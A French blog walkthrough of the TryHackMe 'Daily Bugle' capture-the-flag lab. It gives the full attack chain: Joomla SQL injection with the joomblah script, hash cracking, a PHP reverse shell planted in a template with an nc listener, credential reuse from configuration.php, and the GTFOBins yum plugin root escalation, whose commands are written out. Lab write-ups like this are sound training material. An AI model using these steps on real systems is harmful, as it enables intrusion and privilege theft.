Daily Bugle – TryHackMe
What’s up guys ? Me revoilà avec un tout nouveau CTF, contrairement à ce que l’on a pu faire récemment, j’ai décidé de passer à quelque chose de plus sérieux ! Daily Bugle. Eh bien nous allons voir comment compromettre un compte CMS Joomla via SQLi, s’entraîner à déchiffrer des hachages et augmenter nos privilèges en profitant de yum.
Prêt ? alors let’s go !
Vous savez par quoi commencer donc pas besoin de faire un rappel, un scan réseau de la machine :
Nmap -Pn -sV -p- IP_address (nous utiliserons le -Pn pour ne pas effectuer de ping)
Nous avons 2 ports ouverts, voyons ce que l’on nous demande de trouver.
Ça tombe bien le port 80 est ouvert, il faut trouver qui a cambriolé la banque ! Pour cela nous devons accéder au server web, rien de compliqué il suffit de taper l’adresse ip dans la barre de recherche de votre navigateur :
Maintenant que nous savons qui a cambriolé la banque, il nous est demandé de continuer l’exploration. Nous devons trouver la version du CMS Joomla :
Pas de panique, en faisant une petite recherche rapide sur le net nous avons trouvé un outil pré-installé sur notre système (Parrot OS, aussi présent sur Kali Linux), joomscan :
La commande est simple, il vous suffit de taper :
Joomscan –url http://IP_address/
Vous allez voir il est très sympa, il va vous énumérer les sous répertoires également :
Et voici aussi la liste des sous répertoires, on peut voir qu’il y a un protocole d’exclusion des robots : robots.txt
Après avoir visité la page : http://IP_address/robots.txt rien de plus, nous avons les mêmes infos. Retenez juste la page http://IP_addess/administrator/ qui vous mène vers la page de connexion Joomla 😉.
Maintenant, nous devons décrypter le mot de passe de l’utilisateur Jonah.
Pour cela plusieurs possibilités, il nous est préconisé d’utiliser un script python au lieu de passer par SQLMap (qui fonctionne très bien aussi). Après quelques recherches sur internet, j’ai trouvé un outil formidable permettant d’exploiter la version actuelle de joomla :
joomblah (disponible sur https://github.com/XiphosResearch/exploits/tree/master/Joomblah )
Obtenons le hash du mot de passe de Jonah et décryptons-le par la suite. Téléchargez le fichier python et tapez la commande suivante :
Python joomblah.py http://IP_address/
Nous avons obtenu notre hash, copiez le dans un fichier. Nous l’appellerons h.txt, il faut déterminer le format de hachage pour pouvoir le décrypter. Utilisez cette commande depuis votre terminal :
hashid h.txt
Maintenant que nous connaissons le format de notre hash, il nous faut le décrypter. JohnTheRipper est votre ami (bien sûr vous avez aussi hashcat) :
Une fois terminé, tapez la commande : john –show h.txt pour afficher le résultat :
Mot de passe = spiderman123 (pas très compliqué comme mot de passe !!!!)
Bingo ! nous avons le mot de passe de Jonah. Essayons de nous connecter maintenant à l’interface web Joomla.
http://IP_address/administrator utilisez user=jonah et password=spiderman123
Allez dans Extensions —> Templates –> templates :
Maintenant, cliquez sur Protostar Details and Files :
Vous allez voir la liste des fichiers, choisissez n’importe laquelle et insérez votre script malveillant pour avoir un php_reverse_shell. Nous utiliserons dans notre cas le script disponible sur le lien suivant : https://github.com/pentestmonkey/php-reverse-shell
Remplacez l’IP par votre adresse IP tun0 et le port que vous souhaitez, sauvegardez et fermez. Maintenant lancez une écoute avec la commande suivante : nc -lvnp port puis accédez à la page du fichier choisi. Dans notre cas : http://IP_address/templates/protostar/error.php
Et voilà le travail ! nous avons notre shell. Déplacez-vous vers le répertoire /var/www/html afin de consulter le fichier configuration.php avec la commande :
cd /var/www/html
puis tapez ls pour lister le contenu :
Vous pouvez maintenant afficher le contenu du fichier configuration.php avec la commande :
cat configuration.php :
Yes ! nous avons un mot de passe, mais un petit souci aussi car lorsque nous avons essayé de se connecter en tant que root ça n’a pas fonctionné. Nous allons utiliser ce même mot de passe pour l’utilisateur jjameson pour obtenir le flag user.txt :
Pour cela, utilisez les commandes suivantes :
cd /home
su jjameson
ls
cat user.txt
So ! il nous reste un dernier flag : root.txt, eh oui l’escalade de privilège.
Pas de panique nous allons remédier à ceci rapidement, commencez par utiliser la commande :
sudo -l
Humm, intéressant tout ça. Allez sur GTFOBins pour trouver un moyen d’obtenir les privilèges root en cherchant yum:
Super ! nous avons trouvé ce dont nous avons besoin, à ce stade il vous faut tout simplement taper ces commandes les unes à la suite des autres :
TF=$(mktemp -d)
cat >$TF/x<<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF
cat >$TF/y.conf<<EOF
[main]
enabled=1
EOF
cat >$TF/y.py<<EOF
import os
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version=’2.1′
def init_hook(conduit):
os.execl(‘/bin/sh’,’/bin/sh’)
EOF
sudo yum -c $TF/x –enableplugin=y
Connectez-vous sur un autre terminal en utilisant le service SSH avec user=jjameson et password=nv5uz9r3ZEDzVjNu. Voici la commande : ssh jjameson@IP_address
Tapez maintenant les commandes ci-dessus trouvées sur le site de GTFOBins :
Génial ! nous sommes root, déplaçons-nous vers le répertoire du super-utilisateur afin d’obtenir le dernier flag avec ces trois dernières commandes :
cd /root
ls
cat root.txt
Bravo à vous, si vous avez réussi sans difficultés ce challenge soyez en fiers. Dans l’ensemble un CTF très intéressant et varié, niveau difficulté chacun en jugera en fonction de son ressenti.
Comme toujours, si vous avez des questions n’hésitez pas à me contacter, au plaisir de vous faire découvrir un autre challenge, PEACE !
💪💪